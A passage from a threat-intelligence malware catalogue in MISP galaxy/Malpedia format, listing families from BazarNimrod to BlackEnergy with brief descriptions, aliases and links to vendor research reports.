https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/
https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/
https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://malwarebookreports.com/bazarloader-back-from-holiday-break/

https://forensicitguy.github.io/bazariso-analysis-advpack/
https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/
https://unit42.paloaltonetworks.com/bazarloader-malware/
https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/
https://www.youtube.com/watch?v=uAkeXCYcl4Y
https://unit42.paloaltonetworks.com/ryuk-ransomware/
https://thedfirreport.com/2020/10/08/ryuks-return/
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/
https://www.hhs.gov/sites/default/files/bazarloader.pdf
https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/
https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/

BazarNimrod

A rewrite of Bazarloader in the Nim programming language.

The tag is: *misp-galaxy:malpedia="BazarNimrod"*

BazarNimrod is also known as:

- NimzaLoader

Table 1742. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e

https://twitter.com/James_inthe_box/status/1357009652857196546
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811

BBSRAT

The tag is: *misp-galaxy:malpedia="BBSRAT"*

BBSRAT is also known as:

Table 1743. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf
https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/
https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb

BBtok

360 Security Center describes BBtok as a banking trojan targeting Mexico.

The tag is: *misp-galaxy:malpedia="BBtok"*

BBtok is also known as:

Table 1744. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bbtok
https://blog.360totalsecurity.com/en/360-file-less-attack-protection-intercepts-the-banker-trojan-bbtok-active-in-mexico/

Beapy

The tag is: *misp-galaxy:malpedia="Beapy"*

Beapy is also known as:

Table 1745. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beapy

https://www.symantec.com/blogs/threat-intelligence/beapy-cryptojacking-worm-china

Bedep

The tag is: *misp-galaxy:malpedia="Bedep"*

Bedep is also known as:

Table 1746. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep
https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html

Bee

Malware family observed in conjunction with PlugX infrastructure in 2013.

The tag is: *misp-galaxy:malpedia="Bee"*

Bee is also known as:

Table 1747. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bee
https://www.virustotal.com/gui/file/38f9ce7243c7851d67b24eb53b16177147f38dfffe201c5bedefe260d22ac908/detection

beendoor

BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim's desktop.

The tag is: *misp-galaxy:malpedia="beendoor"*

beendoor is also known as:

Table 1748. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

BeepService

The tag is: *misp-galaxy:malpedia="BeepService"*

BeepService is also known as:

Table 1749. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Belonard

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.

The tag is: *misp-galaxy:malpedia="Belonard"*

Belonard is also known as:

Table 1750. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard
https://news.drweb.com/show/?i=13135&c=23&lng=en&p=0

Berbomthum

The tag is: *misp-galaxy:malpedia="Berbomthum"*

Berbomthum is also known as:

Table 1751. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum
https://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-use-malicious-memes-that-communicate-with-malware/

BernhardPOS

The tag is: *misp-galaxy:malpedia="BernhardPOS"*

BernhardPOS is also known as:

Table 1752. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos
https://securitykitten.github.io/2015/07/14/bernhardpos.html
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-07-14-bernhardpos.md

BestKorea

The tag is: *misp-galaxy:malpedia="BestKorea"*

BestKorea is also known as:

Table 1753. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bestkorea
https://github.com/Jacquais/BestKorea

BetaBot

Cybereason concludes that Betabot is a sophisticated infostealer malware that's evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim's machine and steal sensitive information.

The tag is: *misp-galaxy:malpedia="BetaBot"*

BetaBot is also known as:

- Neurevt

Table 1754. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot
https://securelist.com/financial-cyberthreats-in-2020/101638/
http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html
https://www.cybereason.com/blog/betabot-banking-trojan-neurevt
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html

https://news.sophos.com/en-us/2020/05/14/raticate/
https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39
http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref
https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en
http://www.xylibox.com/2015/04/betabot-retrospective.html
https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/

Bezigate

Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The Trojan may perform the following actions: List, move, and delete drives List, move, and delete files List processes and running Windows titles List services List registry values Kill processes Maximize, minimize, and close windows Upload and download files Execute shell commands Uninstall itself

The tag is: *misp-galaxy:malpedia="Bezigate"*

Bezigate is also known as:

Table 1755. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

BfBot

The tag is: *misp-galaxy:malpedia="BfBot"*

BfBot is also known as:

Table 1756. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot

BHunt

BHunt collects the crypto wallets of its victims. The malware consists of several functions/modules, e.g. a reporting module that reports the presence of crypto wallets on the target computers to the C2 server. It searches for many different cryptocurrencies (e.g. Atomic, Bitcoin, Electrum, Ethereum, Exodus, Jaxx and Litecoin). The Blackjack module is used to steal wallets, Sweet_Bonanza steals victims' browser passwords. There are also modules like the Golden7 or the Chaos_crew module.

The tag is: *misp-galaxy:malpedia="BHunt"*

BHunt is also known as:

Table 1757. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt
https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger
https://www.bitdefender.com/files/News/CaseStudies/study/411/Bitdefender-PR-Whitepaper-CyberWallet-creat5874-en-EN.pdf
https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/

BI_D Ransomware

Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows sytem processes and kills shadow copies.

The tag is: *misp-galaxy:malpedia="BI_D Ransomware"*

BI_D Ransomware is also known as:

Table 1758. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware
http://zirconic.net/2018/07/bi_d-ransomware/
http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/

bifrose

The tag is: *misp-galaxy:malpedia="bifrose"*

bifrose is also known as:

Table 1759. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bifrose

https://blog.trendmicro.com/trendlabs-security-intelligence/bifrose-now-more-evasive-through-tor-used-for-targeted-attack/
https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html

BillGates

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for *nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

The tag is: *misp-galaxy:malpedia="BillGates"*

BillGates is also known as:

Table 1760. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates
https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server
https://habrahabr.ru/post/213973/
https://securelist.com/versatile-ddos-trojan-for-linux/64361/
https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html
https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf

Binanen

Binanen is a dropper that drops and executes a section of itself into a hidden dummy process. According to F-Secure, it executes command line tools such as (for example) asipconfig, which is useful to retrieve the network configuration. The malware aims to steal information about the machine, the username, installed software and, more generally speaking, it potentially can carry out actions on the compromised machine.

The tag is: *misp-galaxy:malpedia="Binanen"*

Binanen is also known as:

Table 1761. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.binanen
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojBinanen-B/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojBinanen-B/detailed-analysis.aspx]

BioData

The tag is: *misp-galaxy:malpedia="BioData"*

BioData is also known as:

Table 1762. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata
https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/
https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

bioload

The tag is: *misp-galaxy:malpedia="bioload"*

bioload is also known as:

Table 1763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bioload
https://www.fortinet.com/blog/threat-research/bioload-fin7-boostwrite-lost-twin.html

BIOPASS

BIOPASS RAT is a malware family which targets online gambling companies in China by leveraging a watering hole attack. This Remote Access Trojan (RAT) is unique in that it leverages the Open Broadcaster Software (OBS) framework to monitor the user’s screen.

The tag is: *misp-galaxy:malpedia="BIOPASS"*

BIOPASS is also known as:

Table 1764. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biopass
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html

Biscuit

The tag is: *misp-galaxy:malpedia="Biscuit"*

Biscuit is also known as:

- zxdosml

Table 1765. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

BISTROMATH

The tag is: *misp-galaxy:malpedia="BISTROMATH"*

BISTROMATH is also known as:

Table 1766. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045a
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/
https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/

BitPyLock

Bitpylock is a ransomware that encrypts files by using asymmetric keys and puts '.bitpy' as suffix once the encryption phase ended. The ransom note appears on the affected user's Desktop with the following name: "# # HELP_TO_DECRYPT_YOUR_FILES # .html". At the time of writing the ransom request is 0.8 BTC and the communication email is: helpbitpy@cock.li.

The tag is: *misp-galaxy:malpedia="BitPyLock"*

BitPyLock is also known as:

Table 1767. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock
https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/
https://twitter.com/malwrhunterteam/status/1215252402988822529
https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview

Bitsran

SHADYCAT is a dropper and spreader component for the HERMES 2.1 RANSOMWARE radical edition.

The tag is: *misp-galaxy:malpedia="Bitsran"*

Bitsran is also known as:

- SHADYCAT

Table 1768. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug-180129.pdf
https://content.fireeye.com/apt/rpt-apt38
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html

Bitter RAT

The tag is: *misp-galaxy:malpedia="Bitter RAT"*

Bitter RAT is also known as:

Table 1769. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat
https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan

BitRAT

According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.

Furthermore, each buyer's modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.

BitRAT's popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.

The tag is: *misp-galaxy:malpedia="BitRAT"*

BitRAT is also known as:

Table 1770. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat
https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/
https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/
https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/
https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/
https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/
https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://community.riskiq.com/article/ade260c6
https://www.youtube.com/watch?v=CYm3g4zkQdw
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware
https://asec.ahnlab.com/en/32781/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf
https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md
https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat
https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html

Bizzaro

The tag is: *misp-galaxy:malpedia="Bizzaro"*

Bizzaro is also known as:

Table 1771. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bizarro

https://securelist.com/bizarro-banking-trojan-expands-its-attacks-to-europe/102258/

BKA Trojaner

BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.

The tag is: *misp-galaxy:malpedia="BKA Trojaner"*

BKA Trojaner is also known as:

- bwin3_bka

Table 1772. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner
https://www.evild3ad.com/405/bka-trojaner-ransomware/

Black Basta

"Black Basta" is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.

The tag is: *misp-galaxy:malpedia="Black Basta"*

Black Basta is also known as:

- no_name_software

Table 1773. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/
https://gbhackers.com/black-basta-ransomware/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://securelist.com/luna-black-basta-ransomware/106950
https://securityscorecard.pathfactory.com/all/a-deep-dive-into-bla
https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html
https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/
https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/
https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta
https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html
https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware

BlackByte

Ransomware. Uses dropper written in JavaScript to deploy a .NET payload.

The tag is: *misp-galaxy:malpedia="BlackByte"*

BlackByte is also known as:

Table 1774. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte
https://www.ic3.gov/Media/News/2022/220211.pdf
https://www.zscaler.com/blogs/security-research/analysis-blackbyte-ransomwares-go-based-variants
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html
https://blog.talosintelligence.com/2022/05/the-blackbyte-ransomware-group-is.html
https://therecord.media/san-francisco-49ers-confirm-ransomware-attack/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/

https://research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure
https://www.trendmicro.com/vinfo/my/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/
https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://de.darktrace.com/blog/detecting-the-unknown-revealing-uncategorised-ransomware-using-darktrace
https://redcanary.com/blog/blackbyte-ransomware/

BlackCat (Windows)

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

The tag is: *misp-galaxy:malpedia="BlackCat (Windows)"*

BlackCat (Windows) is also known as:

- ALPHV
- Noberus

Table 1775. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat

https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809
https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/
https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/
https://blog.group-ib.com/blackcat
https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf
https://killingthebear.jorgetesta.tech/actors/alphv
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html
https://unit42.paloaltonetworks.com/blackcat-ransomware/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf
https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html
https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive
https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://www.ic3.gov/Media/News/2022/220420.pdf
https://securityscorecard.com/research/deep-dive-into-alphv-blackcat-ransomware
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware
https://www.intrinsec.com/alphv-ransomware-gang-analysis
https://www.varonis.com/blog/alphv-blackcat-ransomware
https://securelist.com/a-bad-luck-blackcat/106254/

https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://securityscorecard.com/blog/ttps-associated-with-new-version-of-blackcat-ransomware
https://id-ransomware.blogspot.com/2021/12/blackcat-ransomware.html
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/
https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/
https://github.com/f0wl/blackCatConf
https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

BLACKCOFFEE

a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft’s Technet portal.

The tag is: *misp-galaxy:malpedia="BLACKCOFFEE"*

BLACKCOFFEE is also known as:

- PNGRAT
- ZoxPNG
- gresim

Table 1776. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.secureworks.com/research/threat-profiles/bronze-keystone

https://intrusiontruth.wordpress.com/2019/07/24/apt17-is-run-by-the-jinan-bureau-of-the-chinese-ministry-of-state-security/
https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
https://www.youtube.com/watch?v=NFJqD-LcpIg
https://attack.mitre.org/groups/G0001/
http://malware-log.hatenablog.com/entry/2015/05/18/000000_1
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://attack.mitre.org/software/S0069/
https://attack.mitre.org/groups/G0096
http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://attack.mitre.org/groups/G0025/

BlackEnergy

BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.

